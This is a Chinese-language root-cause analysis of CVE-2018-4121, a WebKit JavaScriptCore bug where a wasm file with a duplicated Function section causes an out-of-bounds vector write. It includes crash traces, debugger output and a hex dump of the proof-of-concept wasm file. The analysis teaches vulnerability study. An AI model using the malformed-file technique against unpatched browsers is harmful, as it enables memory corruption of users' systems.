CVE-2018-4121 JavaScriptCore WebAssembly wasm文件解析错误导致越界写漏洞分析

Posted dwfault

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2018-4121 JavaScriptCore WebAssembly wasm文件解析错误导致越界写漏洞分析相关的知识,希望对你有一定的参考价值。

目标:WebKit/Safari javascriptCore

版本:0727216

补丁commit:https://github.com/WebKit/webkit/commit/c6deeea41e524d071382a5d0fe380fbd7b634c32#diff-c6e5751bdf812034a2c73a2ec261c800


原始PoC:

out.html new.wasm 

https://bugs.chromium.org/p/project-zero/issues/detail?id=1522


这个漏洞分析起来比较简单,整个过程就是文件解析型漏洞分析。那么相应的漏洞挖掘也可以按照文件型进行尝试。




 PART 1


编译JavaScriptCore,加上-DENABLE_WEBASSEMBLY参数,然后稍微修改成让jsc处理的形式,有ASAN的报错:

ASSERTION FAILED: size() < capacity()

DerivedSources/ForwardingHeaders/wtf/Vector.h(1381) : void WTF::Vector< <template-parameter-1-1>, <anonymous>, <template-parameter-1-3>, <anonymous>, <template-parameter-1-5> >::uncheckedAppend(U&&) [with U = unsigned int&; T = unsigned int; long unsigned int inlineCapacity = 0ul; OverflowHandler = WTF::CrashOnOverflow; long unsigned int minCapacity = 16ul; Malloc = WTF::FastMalloc]

1   0x7f03680c8467 WTFReportBacktrace

2   0x7f03680c8567 WTFCrash

3   0x7f0367ee8294 JSC::Wasm::ModuleParser::parseFunction()

4   0x7f0367ef88ad JSC::Wasm::ModuleParser::parse()

5   0x7f0367e75e9f JSC::Wasm::BBQPlan::parseAndValidateModule()

6   0x7f0367e8f9a0 JSC::Wasm::BBQPlan::work(JSC::Wasm::Plan::CompilationEffort)

7   0x7f0367f38ec3 JSC::Wasm::Worklist::Thread::work()

8   0x7f03680ce686

9   0x7f036812b972 WTF::Thread::entryPoint(WTF::Thread::NewThreadContext*)

10  0x7f03681ddc69

11  0x7f03654486ba

12  0x7f036517e41d clone

ASAN:DEADLYSIGNAL

=================================================================

==80531==ERROR: AddressSanitizer: SEGV on unknown address 0x0000977537dd (pc 0x7f03680c8567 bp 0x7f031fdfc890 sp 0x7f031fdfc780 T1)

    #0 0x7f03680c8566 in WTFCrash (/home/default/Desktop/webkit-0727216-debug-asan/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x26de566)

    #1 0x7f0367ee8293 in JSC::Wasm::ModuleParser::parseFunction() (/home/default/Desktop/webkit-0727216-debug-asan/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x24fe293)

    #2 0x7f0367ef88ac in JSC::Wasm::ModuleParser::parse() (/home/default/Desktop/webkit-0727216-debug-asan/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x250e8ac)

    #3 0x7f0367e75e9e in JSC::Wasm::BBQPlan::parseAndValidateModule() (/home/default/Desktop/webkit-0727216-debug-asan/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x248be9e)

    #4 0x7f0367e8f99f in JSC::Wasm::BBQPlan::work(JSC::Wasm::Plan::CompilationEffort) (/home/default/Desktop/webkit-0727216-debug-asan/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x24a599f)

    #5 0x7f0367f38ec2 in JSC::Wasm::Worklist::Thread::work() (/home/default/Desktop/webkit-0727216-debug-asan/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x254eec2)

    #6 0x7f03680ce685 in WTF::Function<void ()>::CallableWrapper<WTF::AutomaticThread::start(WTF::AbstractLocker const&)::{lambda()#1}>::call() (/home/default/Desktop/webkit-0727216-debug-asan/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x26e4685)

    #7 0x7f036812b971 in WTF::Thread::entryPoint(WTF::Thread::NewThreadContext*) (/home/default/Desktop/webkit-0727216-debug-asan/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x2741971)

    #8 0x7f03681ddc68 in WTF::wtfThreadEntryPoint(void*) (/home/default/Desktop/webkit-0727216-debug-asan/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x27f3c68)

    #9 0x7f03654486b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)

    #10 0x7f036517e41c in clone (/lib/x86_64-linux-gnu/libc.so.6+0x10741c)

AddressSanitizer can not provide additional info.

SUMMARY: AddressSanitizer: SEGV (/home/default/Desktop/webkit-0727216-debug-asan/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x26de566) in WTFCrash

Thread T1 (AutomaticThread) created by T0 here:

    #0 0x7f03691f64e8 in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x314e8)

    #1 0x7f03681dfa51 in WTF::Thread::establishHandle(WTF::Thread::NewThreadContext*) (/home/default/Desktop/webkit-0727216-debug-asan/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x27f5a51)

==80531==ABORTIN


调试时的栈回溯更清晰:

调试栈:

#0  0x00007ffff6d92b5d in WTFCrash () at ../../Source/WTF/wtf/Assertions.cpp:272

#1  0x00007ffff6c705ba in WTF::Vector<unsigned int, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc>::uncheckedAppend<unsigned int&> (this=0x52ab40, value=@0x7fffb1073bd8: 0x2)

    at DerivedSources/ForwardingHeaders/wtf/Vector.h:1381

#2  0x00007ffff6c64c00 in JSC::(anonymous namespace)::ModuleParser::parseFunction (this=0x7fffb1073d20) at ../../Source/JavaScriptCore/wasm/WasmModuleParser.cpp:227

#3  0x00007ffff6c62e81 in JSC::(anonymous namespace)::ModuleParser::parse (this=0x7fffb1073d20) at ../../Source/JavaScriptCore/wasm/WasmModuleParser.cpp:83

#4  0x00007ffff6c0cbfb in JSC::(anonymous namespace)::BBQPlan::parseAndValidateModule (this=0x52b620) at ../../Source/JavaScriptCore/wasm/WasmBBQPlan.cpp:105

#5  0x00007ffff6c0ef8a in JSC::(anonymous namespace)::BBQPlan::work (this=0x52b620, effort=JSC::(anonymous namespace)::Plan::Partial)

    at ../../Source/JavaScriptCore/wasm/WasmBBQPlan.cpp:351

#6  0x00007ffff6c92dbf in JSC::(anonymous namespace)::Worklist::Thread::work (this=0x63e970) at ../../Source/JavaScriptCore/wasm/WasmWorklist.cpp:106

#7  0x00007ffff6d95120 in WTF::AutomaticThread::<lambda()>::operator()(void) const (__closure=0x63ec58) at ../../Source/WTF/wtf/AutomaticThread.cpp:222

#8  0x00007ffff6d959e8 in WTF::Function<void()>::CallableWrapper<WTF::AutomaticThread::start(const WTF::AbstractLocker&)::<lambda()> >::call(void) (this=0x63ec50)

    at ../../Source/WTF/wtf/Function.h:101

#9  0x00007ffff6dad364 in WTF::Function<void()>::operator()(void) const (this=0x7fffb1073ed0) at ../../Source/WTF/wtf/Function.h:56

#10 0x00007ffff6dc5a13 in WTF::Thread::entryPoint (newThreadContext=0x52aca0) at ../../Source/WTF/wtf/Threading.cpp:129

#11 0x00007ffff6e0eddd in WTF::wtfThreadEntryPoint (context=0x52aca0) at ../../Source/WTF/wtf/ThreadingPthreads.cpp:223

#12 0x00007ffff41a66ba in start_thread (arg=0x7fffb1074700) at pthread_create.c:333

#13 0x00007ffff3b5041d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109


WasmModuleParser.cpp:


在switch(section)下断点,有:

b  WasmModuleParser.cpp:77

gdb-peda$ p section

$4985 = JSC::(anonymous namespace)::Section::Type

$4986 = JSC::(anonymous namespace)::Section::Import

$4987 = JSC::(anonymous namespace)::Section::Function

$4988 = JSC::(anonymous namespace)::Section::Custom

$4989 = JSC::(anonymous namespace)::Section::Function

继续运行多次,崩溃时Function段出现了两次。


WasmModuleParser.cpp:

CVE-2018-4121 JavaScriptCore WebAssembly wasm文件解析错误导致越界写漏洞分析

gdb-peda$ b WasmModuleParser.cpp:218

gdb-peda$ p m_info.m_ptr.internalFunctionSignatureIndices

第一次:

$4996 = {

  <WTF::VectorBuffer<unsigned int, 0ul, WTF::FastMalloc>> = {

    <WTF::VectorBufferBase<unsigned int, WTF::FastMalloc>> = {

      m_buffer = 0x7fffac000c30,

      m_capacity = 0x3e7,

      m_size = 0x0,

      m_mask = 0x3ff

    }, <No data fields>}, <No data fields>}

第二次,size已经等于capacity:

$4997 = {

  <WTF::VectorBuffer<unsigned int, 0ul, WTF::FastMalloc>> = {

    <WTF::VectorBufferBase<unsigned int, WTF::FastMalloc>> = {

      m_buffer = 0x7fffac000c30,

      m_capacity = 0x3e7,

      m_size = 0x3e7,

      m_mask = 0x3ff

    }, <No data fields>}, <No data fields>}

继续往下面执行m_info->internalFunctionSignatureIndices.uncheckedAppend(signatureIndex);

这是一个Vector对象,这里自然而然地发生了越界写。


因为没有开启-DNDEBUG,Vector当中的一些Assert会检查到错误然后自行崩溃,在启用了-DNDEBUG的Release版本中,Assert检查会被编译器抹去,因而可以覆写到其他内存区域,进而实施漏洞利用。





PART 2


使用wabt(WebAssembly Binary Toolkit)分析样本。


dwfault[~/Desktop]>> ./wasm-objdump -s  new.wasm 

new.wasm:    file format wasm 0x1

0000420: error: section Function out of order

Contents of section Type:

000000a: 0260 017f 0060 0000                      .`...`..

Contents of section Import:

0000014: 0107 696d 706f 7274 730d 696d 706f 7274  ..imports.import

0000024: 6564 5f66 756e 6300 00                   ed_func..

Contents of section Function:

0000030: e707 0101 0101 0101 0101 0101 0101 0101  ................

0000040: 0101 0101 0101 0101 0101 0101 0101 0101  ................

00003f0: 0101 0101 0101 0101 0101 0101 0101 0101  ................

0000400: 0101 0101 0101 0101 0101 0101 0101 0101  ................

0000410: 0101 0101 0101 0101 01                   .........

Contents of section Custom:

000041b: 0000                                     ..


xxd查看文件内容:

dwfault[~/Desktop]>> xxd new.wasms

00000000: 0061 736d0100 000001080260 017f 0060  .asm.......`...`

00000010: 000002190107 696d 706f 7274 730d 696d  ......imports.im

00000020: 706f 7274 6564 5f66 756e 6300 0003e907  ported_func.....            e907 -> 07 e9 -> 0x03e9 -> 1001

00000030: e707 0101 0101 0101 0101 0101 0101 0101  …………….                e707 -> 07 e7 -> 0x03e7 -> 999 

00000040: 0101 0101 0101 0101 0101 0101 0101 0101  ................

...

000003f0: 0101 0101 0101 0101 0101 0101 0101 0101  ................

00000400: 0101 0101 0101 0101 0101 0101 0101 0101  ................

00000410: 0101 0101 0101 0101 01000200 0003e907  ................

00000420: e707 0101 0101 0101 0101 0101 0101 0101  ................

00000430: 0101 0101 0101 0101 0101 0101 0101 0101  ................

000007e0: 0101 0101 0101 0101 0101 0101 0101 0101  ................

000007f0: 0101 0101 0101 0101 0101 0101 0101 0101  ................

00000800: 0101 0101 0101 0101 01071101 0d65 7870  .............exp

00000810: 6f72 7465 645f 6675 6e63 00010a080106  orted_func......

00000820: 0041 2a10 000b                           .A*...


根据文档可以人工把这个文件内容解析清楚,其实与Windows PE文件非常相似,图例有:

加粗:Section类型:

CVE-2018-4121 JavaScriptCore WebAssembly wasm文件解析错误导致越界写漏洞分析


下划线:Section大小,其按照小端序的LEB128可变长度编码,每7位一个整体对一个二进制数进行编码,那么有e707 -> 07 e7 -> 0x03e7 -> 999


而函数区段的内存格式有:

CVE-2018-4121 JavaScriptCore WebAssembly wasm文件解析错误导致越界写漏洞分析

函数区段声明了模块中所有函数的签名,也是按照可变长度的编码存放。


到这里这个漏洞成因就很清楚了,文件中含有两个函数区段,但是相应的处理代码按照默认只有一个函数区段来准备的,两次用来存放解析所得信息的也是同一个Vector。



PART 3


但是其实通过阅读源码我们可以发现,漏洞版本中并非没有对区段顺序的检查:

Section::Custom == 0,代码用这个来判断作为“顺序递增”规则在“遇见第一个区段”时的例外,但是这段代码不与“遇见第一个区段”完全等价,从而导致限制被绕过,漏洞由此产生。这是一个假设与实际不完全等价的问题。参考修补方法:





参考:


https://github.com/WebKit/webkit/commit/c6deeea41e524d071382a5d0fe380fbd7b634c32#diff-c6e5751bdf812034a2c73a2ec261c800

https://bugs.chromium.org/p/project-zero/issues/detail?id=1522

https://github.com/WebAssembly/design/blob/master/BinaryEncoding.md

https://www.yhspy.com/blog/


以上是关于CVE-2018-4121 JavaScriptCore WebAssembly wasm文件解析错误导致越界写漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

PHP-开发环境搭建

cesium编程中级添加示例到Sandcastle

Unicode转义(uXXXX)的编码和解码

Unicode转义(uXXXX)的编码和解码

如何在javascript变量中获取变量值后面的C#代码?